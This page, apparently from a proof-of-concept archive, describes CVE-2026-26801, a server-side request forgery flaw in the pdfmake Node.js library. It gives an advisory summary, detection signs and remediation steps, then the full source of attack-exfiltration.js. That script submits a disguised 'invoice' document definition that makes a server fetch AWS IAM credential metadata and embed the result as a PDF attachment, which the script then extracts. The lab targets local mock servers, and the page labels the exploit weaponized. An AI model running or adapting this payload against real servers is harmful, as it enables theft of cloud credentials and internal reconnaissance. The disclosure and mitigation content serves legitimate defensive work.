PoC Archive PoC Archive
High CVE-2026-26801 patched

pdfmake Server-Side Request Forgery via Unvalidated Document URLs (CVE-2026-26801)

by mariopepe · 2026-07-05

Severity
High
CVE
CVE-2026-26801
Category
web
Affected product
pdfmake (Node.js PDF generation library), src/URLResolver.js
Affected versions
>= 0.3.0-beta.2, <= 0.3.5 (fixed in 0.3.6)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-03
Author / Researchermariopepe
CVE / AdvisoryCVE-2026-26801
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source (repository labels severity “HIGH” without a numeric score)
StatusWeaponized
Tagsssrf, pdfmake, node-js, cloud-metadata, aws-imds, cwe-918, credential-theft, data-exfiltration
RelatedN/A

Affected Target

FieldValue
Software / Systempdfmake (Node.js PDF generation library), src/URLResolver.js
Versions Affected>= 0.3.0-beta.2, <= 0.3.5 (fixed in 0.3.6)
Language / PlatformJavaScript / Node.js (Express-based demo server)
Authentication RequiredNo
Network Access RequiredYes (attacker submits a document definition to a server embedding pdfmake; server-side fetch reaches attacker/internal targets)

Summary

CVE-2026-26801 is a Server-Side Request Forgery vulnerability in pdfmake, a popular Node.js PDF generation library. When a document definition (docDefinition) references remote resources in fields such as images, attachments, or files, pdfmake’s URLResolver.js fetches the given URL with fetch(url, { headers }) without any validation — no domain allowlist/blocklist, no protection against internal or link-local IP ranges (e.g. 127.0.0.1, 169.254.169.254, 10.x.x.x), and it even honors attacker-supplied custom headers (enabling auth-bypass style requests). This lets an attacker who controls document content submitted to any server-side pdfmake integration force that server to make arbitrary outbound HTTP requests, including to cloud instance metadata services. The repository includes a full working lab: a mock AWS metadata server, a vulnerable PDF-generation server, and both a “blind” SSRF attack script and a “full read” exfiltration script that embeds the stolen metadata response directly inside the generated PDF as an attachment.


Vulnerability Details

Root Cause

URLResolver.js calls fetch(url, { headers }) on any URL supplied inside a document definition’s images/attachments/files fields with no validation of the destination host or scheme, and forwards attacker-controlled custom headers unmodified.

Attack Vector

  1. Attacker identifies (or hosts) an application that accepts user-influenced document definitions and passes them to pdfmake for server-side PDF generation.
  2. Attacker submits a docDefinition whose images (or attachments/files) field points to an internal/cloud-metadata URL, e.g. http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>.
  3. The vulnerable server’s pdfmake instance fetches the URL server-side with no restriction, reaching the internal metadata endpoint that the attacker cannot reach directly.
  4. For “blind” SSRF, the attacker observes the outbound request hit their own listener (proving the fetch occurred); for “full read” SSRF, the fetched response body (e.g. IAM credentials JSON) is embedded as a file attachment inside the generated PDF, which the attacker then retrieves and opens to read the exfiltrated data.

Impact

Full read/blind SSRF from any server embedding vulnerable pdfmake versions, enabling theft of cloud IAM credentials (AWS/GCP/Azure metadata), internal network reconnaissance/port scanning, and authentication bypass against internal services via attacker-controlled request headers.


Environment / Lab Setup

Target:   Node.js server using pdfmake >= 0.3.0-beta.2, <= 0.3.5 (vulnerable-server.js in this lab)
Attacker: Node.js, npm install (express, pdfmake), mock-metadata-server.js to simulate a cloud metadata endpoint

Proof of Concept

PoC Script

See vulnerable-server.js, mock-metadata-server.js, attack.js, attack-exfiltration.js, and test-minimal.js in this folder.

1
2
3
4
5
npm install
node mock-metadata-server.js
node vulnerable-server.js
node attack.js
node attack-exfiltration.js

attack.js submits document definitions whose images fields point at the mock metadata server’s IAM credential and instance-metadata endpoints, proving the vulnerable server makes the outbound requests server-side. attack-exfiltration.js goes further, generating an exfiltrated.pdf file that embeds the actual fetched metadata JSON as an attachment, demonstrating full data exfiltration rather than just blind SSRF confirmation.


Detection & Indicators of Compromise

Signs of compromise:

  • Application/PDF-generation server logs showing outbound requests to cloud metadata IPs (169.254.169.254) or internal-only hosts
  • Generated PDF files containing unexpected file attachments (e.g. metadata.json) not part of the intended document content
  • Unusual custom HTTP headers present in server-originated requests correlating with user-submitted document definitions

Remediation

ActionDetail
Primary fixUpgrade to pdfmake 0.3.6 or later, which addresses the unvalidated URL fetch in URLResolver.js
Interim mitigationValidate/allowlist any URLs accepted in document definitions before passing them to pdfmake; block outbound requests to link-local/metadata and RFC1918 ranges from the PDF-generation service; strip/ignore attacker-controlled custom headers

References


Notes

Mirrored from https://github.com/mariopepe/CVE-2026-26801-pdfmake-ssrf on 2026-07-05.

attack-exfiltration.js
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
/**
 * SSRF Data Exfiltration PoC for pdfmake
 *
 * This PoC proves FULL READ SSRF (not just blind SSRF)
 *
 * Attack flow:
 * 1. Send docDefinition with attachments containing attacker-controlled URL
 * 2. pdfmake fetches URL via URLResolver → content stored in VFS
 * 3. Content gets embedded as PDF attachment
 * 4. Attacker downloads PDF → extracts attachment → GETS THE DATA
 *
 * This proves HIGH severity - not just "request made" but "data exfiltrated"
 */

import fs from 'fs';
import { execSync } from 'child_process';

const VULNERABLE_SERVER = 'http://127.0.0.1:3000';
const METADATA_SERVER = 'http://127.0.0.1:8888';

const METADATA_URL = `${METADATA_SERVER}/latest/meta-data/iam/security-credentials/vulnerable-ec2-role`;

// Attack payload - TWO STEPS:
// 1. "attachments" triggers URL fetch via URLResolver → content stored in VFS
// 2. "files" embeds content from VFS into PDF as attachment
const exfiltrationPayload = {
  content: [
    { text: 'Invoice #12345', style: 'header' },
    { text: 'This is a legitimate-looking PDF document.' },
    { text: 'Nothing suspicious here...', margin: [0, 20, 0, 0] }
  ],
  styles: {
    header: { fontSize: 18, bold: true }
  },
  // Step 1: This triggers SSRF - URL is fetched and stored in virtual filesystem
  attachments: {
    'aws_credentials': {
      src: METADATA_URL
    }
  },
  // Step 2: This embeds the fetched content into PDF (reads from VFS using URL as key)
  files: {
    'stolen_credentials': {
      src: METADATA_URL,  // Same URL - reads from VFS where content was stored
      name: 'metadata.json'
    }
  }
};

async function runExfiltrationAttack() {
  console.log(`
╔═══════════════════════════════════════════════════════════════════╗
║     PDFMAKE SSRF - FULL DATA EXFILTRATION PROOF OF CONCEPT       ║
╠═══════════════════════════════════════════════════════════════════╣
║  This proves the attacker can READ the response, not just SSRF   ║
║  Severity: HIGH (full read SSRF vs blind SSRF)                   ║
╚═══════════════════════════════════════════════════════════════════╝
`);

  console.log('[1] Sending malicious docDefinition with attachment URL...');
  console.log('    Payload uses "attachments" field with AWS metadata URL');
  console.log('');

  try {
    const response = await fetch(`${VULNERABLE_SERVER}/api/generate-pdf`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(exfiltrationPayload)
    });

    if (!response.ok) {
      const error = await response.text();
      console.log(`[-] Server error: ${error}`);
      console.log('[!] Note: Check if pdfmake version supports attachments');
      return;
    }

    console.log('[2] PDF generated successfully!');

    // Save the PDF
    const pdfBuffer = await response.arrayBuffer();
    const outputPath = 'exfiltrated.pdf';
    fs.writeFileSync(outputPath, Buffer.from(pdfBuffer));
    console.log(`[3] Saved PDF to: ${outputPath}`);

    // Try to extract attachments
    console.log('[4] Extracting attachments from PDF...');
    console.log('');

    // Use pdfdetach (from poppler-utils) if available
    try {
      execSync(`pdfdetach -list ${outputPath} 2>/dev/null`, { encoding: 'utf8' });
      console.log('[+] PDF contains attachments! Extracting...');
      execSync(`pdfdetach -saveall ${outputPath} 2>/dev/null`);

      // Read extracted file
      if (fs.existsSync('metadata.json')) {
        const stolenData = fs.readFileSync('metadata.json', 'utf8');
        console.log('');
        console.log('╔═══════════════════════════════════════════════════════════════════╗');
        console.log('║              EXFILTRATED DATA (PROOF OF FULL READ SSRF)          ║');
        console.log('╚═══════════════════════════════════════════════════════════════════╝');
        console.log(stolenData);
        console.log('');
        console.log('[+] SUCCESS: AWS credentials were embedded in PDF and extracted!');
        console.log('[+] This proves FULL READ SSRF - attacker can access response data!');
      }
    } catch (e) {
      console.log('[!] pdfdetach not found - install poppler-utils to extract');
      console.log('[!] Or open exfiltrated.pdf and check attachments manually');
      console.log('');
      console.log('    macOS: brew install poppler');
      console.log('    Linux: apt install poppler-utils');
    }

  } catch (error) {
    console.log(`[-] Connection error: ${error.message}`);
    console.log('[!] Make sure both servers are running:');
    console.log('    - node vulnerable-server.js (port 3000)');
    console.log('    - node mock-metadata-server.js (port 8888)');
  }
}

runExfiltrationAttack().catch(console.error);